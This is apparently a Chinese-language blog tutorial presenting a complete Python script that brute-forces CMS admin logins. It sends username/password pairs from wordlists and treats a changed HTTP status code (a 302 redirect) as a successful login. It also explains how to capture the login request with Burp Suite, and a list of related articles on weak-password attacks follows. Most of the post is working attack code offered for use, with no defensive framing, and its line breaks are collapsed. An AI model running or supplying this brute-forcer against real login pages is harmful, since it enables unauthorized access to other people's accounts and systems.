Python--弱口令字典爆破

语言：python

脚本名：burteForce.py

使用模块requests、sys

原理：通过对比登录失败与登录成功的差异性来判断是否成功

cms网站后台管理，登录成功后会重定向跳转到后台管理页面，此时bp抓包，响应行的状态码应该是302，通过对比登录失败与登录成功的状态码来进行字典爆破

注意：requests模块中post传参，需要传递 allow_redirects = False，意为传参后不进行跳转

源码：

# burteForce.py
import requests
import sysprint("欢迎使用Burte Force！".center(30))
print("\n\n\n")url = sys.argv[1] #输入post请求的url
def burteForce(url,username,password):headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',}data = {"username" : username,"password" : password,"image.x" : "70","image.y" : "30"}res = requests.post(url= url , headers= headers , data= data, allow_redirects = False)return res.status_code
# print(state)
state1 = burteForce(url,"abcdef","123456")   #登录失败的响应行状态码
print("请输入字典（格式C:\\\\）")
userlistPath = input("userlist:")   #输入用户名字典
passlistPath = input("passlist:")   #输入密码字典
user = []
password = []
with open(userlistPath,"r") as f :user = f.readlines()
with open(passlistPath,"r") as f1 :password = f1.readlines()
print("\n开始爆破\n")
for i in user :for j in password :state = burteForce(url,i.strip(),j.strip())if state1 != state:print("爆破成功：\n账号：{}密码：{}".format(i,j))exit()else:# print(res1.status_code)pass

如何使用：

注意：网址必须为post请求的url，在登录界面随便输入账号密码后，使用bp拦截抓包

例如以下抓包为post请求数据包，与url拼接得到 http：//”ip address“/cms/admin/login.action.php

Python--弱口令字典爆破相关推荐

米斯特白帽培训讲义漏洞篇弱口令、爆破、遍历
米斯特白帽培训讲义漏洞篇弱口令.爆破.遍历讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 成因弱口令没有严格和准确的定义,通常认为容易被别人(它们有可能对你很了解)猜 ...
米斯特白帽培训讲义（v2）漏洞篇弱口令、爆破、遍历
米斯特白帽培训讲义漏洞篇弱口令.爆破.遍历讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 成因弱口令没有严格和准确的定义,通常认为容易被别人(它们有可能对你很了解)猜 ...
mysql弱口令字典_自制弱口令字典top100
在进行密码字典攻击时,经常使用到一些弱口令字典.而这些若口令字典基本都是通过各大网站泄露的密码,统计出使用频率最多的密码作为字典.这样就可以大大提高成功率.相信大家都听说过CSDN top 100,1 ...
弱口令安全弱口令字典
知识点弱口令的安全问题介绍弱口令的对象弱口令的防范弱口令的安全问题弱口令呢,通俗一点就是对账户密码的暴力猜解黑客呢会通过工具软件或者是,脚本对目标的账户进行暴力猜解当然不是只要弱口令就能 ...
一个关于弱口令字典的生成器
一个关于弱口令字典的生成器它通过用户输入的关键词排列组合出所有可能的字典,针对性更强 code: import itertoolsstring = '' f = open('dic.txt', 'a ...
利用企业员工信息表中的员工信息，生成有针对性的弱口令字典
很多员工喜欢把自己办公系统的密码设置为姓名+特殊字符+手机号(或生日),如zhangsan.18203600001,zhangsan.1980,zhangsan*19800625,zhangsan#1 ...
弱口令(Weak Password)总结和爆破工具
文章目录弱口令定义弱口令字典通过社工定制字典库弱口令字典爆破工具超级弱口令检查工具水影-域信息收集 WebCrack BurpSuite的intruder模块 hydra 弱口令定义网 ...
常见的弱口令爆破工具
弱口令总结和爆破工具弱口令定义网站管理.运营人员由于安全意识不足,为了方便.避免忘记密码等,使用了非常容易记住的密码,或者是直接采用了系统的默认密码等. 攻击者利用此漏洞可直接进入应用系统或者管理 ...
弱口令总结和爆破工具
弱口令总结和爆破工具弱口令定义网站管理.运营人员由于安全意识不足,为了方便.避免忘记密码等,使用了非常容易记住的密码,或者是直接采用了系统的默认密码等. 攻击者利用此漏洞可直接进入应用系统或者管理 ...

Python--弱口令字典爆破

Python--弱口令字典爆破相关推荐

最新文章

热门文章